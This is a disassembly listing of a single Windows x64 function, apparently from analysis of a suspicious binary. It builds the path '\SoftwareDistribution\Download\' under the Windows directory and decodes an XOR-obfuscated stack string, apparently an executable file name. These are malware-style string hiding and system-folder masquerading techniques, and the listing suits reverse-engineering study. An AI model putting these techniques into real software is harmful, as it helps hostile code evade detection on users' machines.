Function at 0x140004170
Capabilities:
Encode data using xor
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rax, qword [0x1400b7098]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov rdi, rcx
mov qword [rbp - 0x38], rcx
xor esi, esi
mov edx, 0x100
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea ecx, [rsi + 0x5c]
xor edx, edx
call fcn.1400014e0
mov word [rsp + 0x20], ax
lea ecx, [rsi + 0x53]
lea edx, [rsi + 1]
call fcn.1400014e0
mov word [rsp + 0x22], ax
lea ecx, [rsi + 0x6f]
lea edx, [rsi + 2]
call fcn.1400014e0
mov word [rsp + 0x24], ax
lea ecx, [rsi + 0x66]
lea edx, [rsi + 3]
call fcn.1400014e0
mov word [rsp + 0x26], ax
lea ecx, [rsi + 0x74]
lea edx, [rsi + 4]
call fcn.1400014e0
mov word [rsp + 0x28], ax
lea ecx, [rsi + 0x77]
lea edx, [rsi + 5]
call fcn.1400014e0
mov word [rsp + 0x2a], ax
lea ecx, [rsi + 0x61]
lea edx, [rsi + 6]
call fcn.1400014e0
mov word [rsp + 0x2c], ax
lea ecx, [rsi + 0x72]
lea edx, [rsi + 7]
call fcn.1400014e0
mov word [rsp + 0x2e], ax
lea ecx, [rsi + 0x65]
lea edx, [rsi + 8]
call fcn.1400014e0
mov word [rsp + 0x30], ax
lea ecx, [rsi + 0x44]
lea edx, [rsi + 9]
call fcn.1400014e0
mov word [rsp + 0x32], ax
lea ecx, [rsi + 0x69]
lea edx, [rsi + 0xa]
call fcn.1400014e0
mov word [rsp + 0x34], ax
lea ecx, [rsi + 0x73]
lea edx, [rsi + 0xb]
call fcn.1400014e0
mov word [rsp + 0x36], ax
lea ecx, [rsi + 0x74]
lea edx, [rsi + 0xc]
call fcn.1400014e0
mov word [rsp + 0x38], ax
lea ecx, [rsi + 0x72]
lea edx, [rsi + 0xd]
call fcn.1400014e0
mov word [rsp + 0x3a], ax
lea ecx, [rsi + 0x69]
lea edx, [rsi + 0xe]
call fcn.1400014e0
mov word [rsp + 0x3c], ax
lea ecx, [rsi + 0x62]
lea edx, [rsi + 0xf]
call fcn.1400014e0
mov word [rsp + 0x3e], ax
lea ecx, [rsi + 0x75]
lea edx, [rsi + 0x10]
call fcn.1400014e0
mov word [rsp + 0x40], ax
lea ecx, [rsi + 0x74]
lea edx, [rsi + 0x11]
call fcn.1400014e0
mov word [rsp + 0x42], ax
lea ecx, [rsi + 0x69]
lea edx, [rsi + 0x12]
call fcn.1400014e0
mov word [rsp + 0x44], ax
lea ecx, [rsi + 0x6f]
lea edx, [rsi + 0x13]
call fcn.1400014e0
mov word [rsp + 0x46], ax
lea ecx, [rsi + 0x6e]
lea edx, [rsi + 0x14]
call fcn.1400014e0
mov word [rsp + 0x48], ax
lea ecx, [rsi + 0x5c]
lea edx, [rsi + 0x15]
call fcn.1400014e0
mov word [rsp + 0x4a], ax
lea ecx, [rsi + 0x44]
lea edx, [rsi + 0x16]
call fcn.1400014e0
mov word [rsp + 0x4c], ax
lea ecx, [rsi + 0x6f]
lea edx, [rsi + 0x17]
call fcn.1400014e0
mov word [rsp + 0x4e], ax
lea ecx, [rsi + 0x77]
lea edx, [rsi + 0x18]
call fcn.1400014e0
mov word [rsp + 0x50], ax
lea ecx, [rsi + 0x6e]
lea edx, [rsi + 0x19]
call fcn.1400014e0
mov word [rsp + 0x52], ax
lea ecx, [rsi + 0x6c]
lea edx, [rsi + 0x1a]
call fcn.1400014e0
mov word [rsp + 0x54], ax
lea ecx, [rsi + 0x6f]
lea edx, [rsi + 0x1b]
call fcn.1400014e0
mov word [rsp + 0x56], ax
lea ecx, [rsi + 0x61]
lea edx, [rsi + 0x1c]
call fcn.1400014e0
mov word [rsp + 0x58], ax
lea ecx, [rsi + 0x64]
lea edx, [rsi + 0x1d]
call fcn.1400014e0
mov word [rsp + 0x5a], ax
lea ecx, [rsi + 0x5c]
lea edx, [rsi + 0x1e]
call fcn.1400014e0
mov word [rsp + 0x5c], ax
xor ecx, ecx
lea edx, [rsi + 0x1f]
call fcn.1400014e0
mov word [rsp + 0x5e], ax
lea edx, [rsi + 0x20]
movzx ecx, word [str.runas]
call fcn.1400014e0
mov word [rsp + 0x60], ax
lea edx, [rsi + 0x21]
movzx ecx, word [0x1400a7272]
call fcn.1400014e0
mov word [rsp + 0x62], ax
lea edx, [rsi + 0x22]
movzx ecx, word [0x1400a7274]
call fcn.1400014e0
mov word [rsp + 0x64], ax
lea edx, [rsi + 0x23]
movzx ecx, word [0x1400a7276]
call fcn.1400014e0
mov word [rsp + 0x66], ax
lea edx, [rsi + 0x24]
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.1400014e0
mov word [rsp + 0x68], ax
lea edx, [rsi + 0x25]
movzx ecx, word [0x1400a727a]
call fcn.1400014e0
mov word [rsp + 0x6a], ax
lea edx, [rsi + 0x26]
movzx ecx, word [0x1400a727c]
call fcn.1400014e0
mov word [rsp + 0x6c], ax
lea edx, [rsi + 0x27]
movzx ecx, word [0x1400a727e]
call fcn.1400014e0
mov word [rsp + 0x6e], ax
lea edx, [rsi + 0x28]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.1400014e0
mov word [rsp + 0x70], ax
lea edx, [rsi + 0x29]
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.1400014e0
mov word [rsp + 0x72], ax
lea edx, [rsi + 0x2a]
movzx ecx, word [0x1400a7284]
call fcn.1400014e0
mov word [rsp + 0x74], ax
lea edx, [rsi + 0x2b]
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.1400014e0
mov word [rsp + 0x76], ax
lea edx, [rsi + 0x2c]
movzx ecx, word [0x1400a7288]
call fcn.1400014e0
mov word [rsp + 0x78], ax
lea edx, [rsi + 0x2d]
movzx ecx, word [0x1400a728a]
call fcn.1400014e0
mov word [rsp + 0x7a], ax
lea edx, [rsi + 0x2e]
movzx ecx, word [0x1400a728c]
call fcn.1400014e0
mov word [rsp + 0x7c], ax
lea edx, [rsi + 0x2f]
movzx ecx, word [0x1400a728e]
call fcn.1400014e0
mov word [rsp + 0x7e], ax
lea edx, [rsi + 0x30]
movzx ecx, word [str..exe]
call fcn.1400014e0
mov word [rbp - 0x80], ax
lea edx, [rsi + 0x31]
movzx ecx, word [0x1400a7292]
call fcn.1400014e0
mov word [rbp - 0x7e], ax
lea edx, [rsi + 0x32]
movzx ecx, word [0x1400a7294]
call fcn.1400014e0
mov word [rbp - 0x7c], ax
lea edx, [rsi + 0x33]
movzx ecx, word [0x1400a7296]
call fcn.1400014e0
mov word [rbp - 0x7a], ax
lea edx, [rsi + 0x34]
movzx ecx, word [0x1400a7298]
call fcn.1400014e0
mov word [rbp - 0x78], ax
lea edx, [rsi + 0x35]
movzx ecx, word [0x1400a729a]
call fcn.1400014e0
mov word [rbp - 0x76], ax
lea edx, [rsi + 0x36]
movzx ecx, word [0x1400a729c]
call fcn.1400014e0
mov word [rbp - 0x74], ax
lea edx, [rsi + 0x37]
movzx ecx, word [0x1400a729e]
call fcn.1400014e0
mov word [rbp - 0x72], ax
lea edx, [rsi + 0x38]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.1400014e0
mov word [rbp - 0x70], ax
lea edx, [rsi + 0x39]
movzx ecx, word [0x1400a72a2]
call fcn.1400014e0
mov word [rbp - 0x6e], ax
lea edx, [rsi + 0x3a]
movzx ecx, word [0x1400a72a4]
call fcn.1400014e0
mov word [rbp - 0x6c], ax
lea edx, [rsi + 0x3b]
movzx ecx, word [reloc.WS2_32.dll_WSASetLastError]
call fcn.1400014e0
mov word [rbp - 0x6a], ax
lea edx, [rsi + 0x3c]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_32]
call fcn.1400014e0
mov word [rbp - 0x68], ax
lea edx, [rsi + 0x3d]
movzx ecx, word [0x1400a72aa]
call fcn.1400014e0
mov word [rbp - 0x66], ax
lea edx, [rsi + 0x3e]
movzx ecx, word [str.e_31m]
call fcn.1400014e0
mov word [rbp - 0x64], ax
xor eax, eax
mov word [rbp - 0x62], ax
mov r8d, 0x133
nop
movsxd rcx, eax
lea rdx, [rsp + 0x20]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
xor word [rdx], cx
inc eax
cmp eax, 0x3f
jb 0x140004620
mov word [rbp - 0x62], si
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
lea rax, [rbp - 0x30]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], si
jne 0x140004660
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x58]
call fcn.140010320
nop
lea rax, [rsp + 0x20]
nop dword [rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140004680
mov r8, rbx
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x58]
call fcn.14000e6b0
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 7
mov word [rax], si
mov rdx, qword [rbp - 0x40]
cmp rdx, 8
jb 0x140004709
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004704
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004704
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140076e3c
mov rax, rdi
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.140076920
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret